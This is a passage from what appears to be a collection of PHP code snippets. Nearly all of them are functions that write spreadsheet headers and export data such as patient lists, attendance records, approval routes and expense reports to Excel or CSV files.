set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function exportExcelAction()\n {\n $fileName = 'equipment.xls';\n $content = $this->getLayout()->createBlock('bs_logistics/adminhtml_equipment_grid')\n ->getExcelFile();\n $this->_prepareDownloadResponse($fileName, $content);\n }", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "abstract function getheadings();", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Zapier Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$poll_id = $this->poll_id;\n\t\t$poll_settings_instance = $this->poll_settings_instance;\n\n\t\t/**\n\t\t * Filter zapier headers on export file\n\t\t *\n\t\t * @since 1.6.1\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $poll_id current Form ID\n\t\t * @param Forminator_Addon_Zapier_Poll_Settings $poll_settings_instance Zapier Poll Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_zapier_poll_export_headers',\n\t\t\t$export_headers,\n\t\t\t$poll_id,\n\t\t\t$poll_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function action_list_approval_menu(){\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['様式', '適用開始日', '適用終了日',\n '第1 承認者','第1 承認者の権限',\n '第2 承認者','第2 承認者の権限','第3 承認者','第3 承認者の権限',\n '第4 承認者','第4 承認者の権限','第5 承認者','第5 承認者の権限',\n '第6 承認者','第6 承認者の権限','第7 承認者','第7 承認者の権限',\n '第8 承認者','第8 承認者の権限','第9 承認者','第9 承認者の権限',\n '第10 承認者','第10 承認者の権限','第11 承認者','第11 承認者の権限',\n '第12 承認者','第12 承認者の権限','第13 承認者','第13 承認者の権限',\n '第14 承認者','第14 承認者の権限','第15 承認者','第15 承認者の権限',\n ];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n $width = 50;\n break;\n case 5: case 7: case 9: case 11: case 13:\n case 15: case 17: case 19: case 21: case 23: case 25:\n case 27: case 29: case 31: case 33: case 35: case 37: case 39: \n $width = 20;\n break;\n default:\n $width = 30;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAM.*',\n \\DB::expr('MM.name AS menu_name'), \\DB::expr('MM.id AS menu_id'), \n \\DB::expr('MRM.name AS request_menu_name'), \\DB::expr('MRM.id AS request_menu_id'))\n ->from(['m_approval_menu', 'MAM'])\n ->join(['m_menu', 'MM'], 'left')->on('MM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"1\"))\n ->on('MM.item_status', '=', \\DB::expr(\"'active'\"))->on('MM.enable_flg', '=', \\DB::expr(\"1\"))\n ->join(['m_request_menu', 'MRM'], 'left')->on('MRM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"2\"))\n ->on('MRM.item_status', '=', \\DB::expr(\"'active'\"))->on('MRM.enable_flg', '=', \\DB::expr(\"1\"))\n ->where('MAM.item_status', '=', 'active')\n ->group_by('MAM.m_menu_id', 'MAM.petition_type', 'MAM.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n switch ($item['petition_type']) {\n case 1:\n $menu_name = $item['menu_name'];\n $menu_id = $item['menu_id'];\n break;\n case 2:\n $menu_name = $item['request_menu_name'];\n $menu_id = $item['request_menu_id'];\n break;\n }\n\n if(empty($menu_id)) continue;\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row, $menu_name)\n ->setCellValue('B'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('C'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null);\n\n //Get user of routes\n $query = \\DB::select('MU.fullname', \\DB::expr('MA.name AS authority_name'))\n ->from(['m_user', 'MU'])\n // ->join(['m_user_department', 'MUD'], 'left')->on('MUD.m_user_id', '=', 'MU.id')\n // ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MUD.m_department_id')\n ->join(['m_approval_menu', 'MAM'], 'left')->on('MAM.m_user_id', '=', 'MU.id')\n ->join(['m_authority', 'MA'], 'left')->on('MA.id', '=', 'MAM.m_authority_id')\n ->and_where('MAM.m_menu_id', '=', $item['m_menu_id'])\n ->and_where('MAM.petition_type', '=', $item['petition_type'])\n\n ->where('MU.item_status', '=', 'active')\n ->and_where_open()\n ->and_where('MU.retirement_date', '>', $export_date)\n ->or_where('MU.retirement_date', 'IS',\\DB::expr('NULL'))\n ->and_where_close()\n\n ->and_where('MAM.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAM.enable_start_date'), \\DB::expr('MAM.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAM.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAM.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->order_by('MAM.order', 'ASC')\n ->group_by('MAM.m_user_id', 'MAM.m_authority_id')\n ;\n $users = $query->execute()->as_array(); \n\n if(!empty($users)){\n $col = 3;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['authority_name']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(基準)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "function expense_tracker_excel()\n{\n\t\t$this->layout=\"\";\n\t\t$filename=\"Expense Tracker\";\n\t\theader (\"Expires: 0\");\n\t\theader (\"Last-Modified: \" . gmdate(\"D,d M YH:i:s\") . \" GMT\");\n\t\theader (\"Cache-Control: no-cache, must-revalidate\");\n\t\theader (\"Pragma: no-cache\");\n\t\theader (\"Content-type: application/vnd.ms-excel\");\n\t\theader (\"Content-Disposition: attachment; filename=\".$filename.\".xls\");\n\t\theader (\"Content-Description: Generated Report\" );\n\n\t\t\t$from = $this->request->query('f');\n\t\t\t$to = $this->request->query('t');\n\n\t\t\t\t$from = date(\"Y-m-d\", strtotime($from));\n\t\t\t\t$to = date(\"Y-m-d\", strtotime($to));\n\n\t\t\t$s_role_id = (int)$this->Session->read('role_id');\n\t\t\t$s_society_id = (int)$this->Session->read('society_id');\n\t\t\t$s_user_id = (int)$this->Session->read('user_id');\t\n\n\t\t$this->loadmodel('society');\n\t\t$conditions=array(\"society_id\" => $s_society_id);\n\t\t$cursor=$this->society->find('all',array('conditions'=>$conditions));\n\t\tforeach($cursor as $collection)\n\t\t{\n\t\t$society_name = $collection['society']['society_name'];\n\t\t}\n\n$excel=\"<table border='1'>\n<tr>\n<th style='text-align:center;' colspan='8'>$society_name Society</th>\n</tr>\n<tr>\n<th style='text-align:left;'>Voucher #</th>\n<th style='text-align:left;'>Posting Date</th>\n<th style='text-align:left;'>Due Date</th>\n<th style='text-align:left;'>Date of Invoice</th>\n<th style='text-align:left;'>Expense Head</th>\n<th style='text-align:left;'>Invoice Reference</th>\n<th style='text-align:left;'>Party Account Head</th>\n<th style='text-align:left;'>Amount</th>\n</tr>\";\n\t\t$total = 0;\n\t\t$this->loadmodel('expense_tracker');\n\t\t$conditions=array(\"society_id\"=>$s_society_id);\n\t\t$cursor3 = $this->expense_tracker->find('all',array('conditions'=>$conditions));\n\t\tforeach($cursor3 as $collection)\n\t\t{\n\t\t\t$receipt_id = $collection['expense_tracker']['receipt_id'];\n\t\t\t$posting_date = $collection['expense_tracker']['posting_date'];\n\t\t\t$due_date = $collection['expense_tracker']['due_date'];\n\t\t\t$invoice_date = $collection['expense_tracker']['invoice_date'];\n\t\t\t$expense_head = (int)$collection['expense_tracker']['expense_head'];\n\t\t\t$invoice_reference = $collection['expense_tracker']['invoice_reference'];\n\t\t\t$party_account_head = (int)$collection['expense_tracker']['party_head'];\n\t\t\t$amount = $collection['expense_tracker']['amount'];\n\n\t\t\t\t$result5 = $this->requestAction(array('controller' => 'hms', 'action' => 'ledger_account_fetch2'),array('pass'=>array($expense_head)));\n\t\t\t\tforeach($result5 as 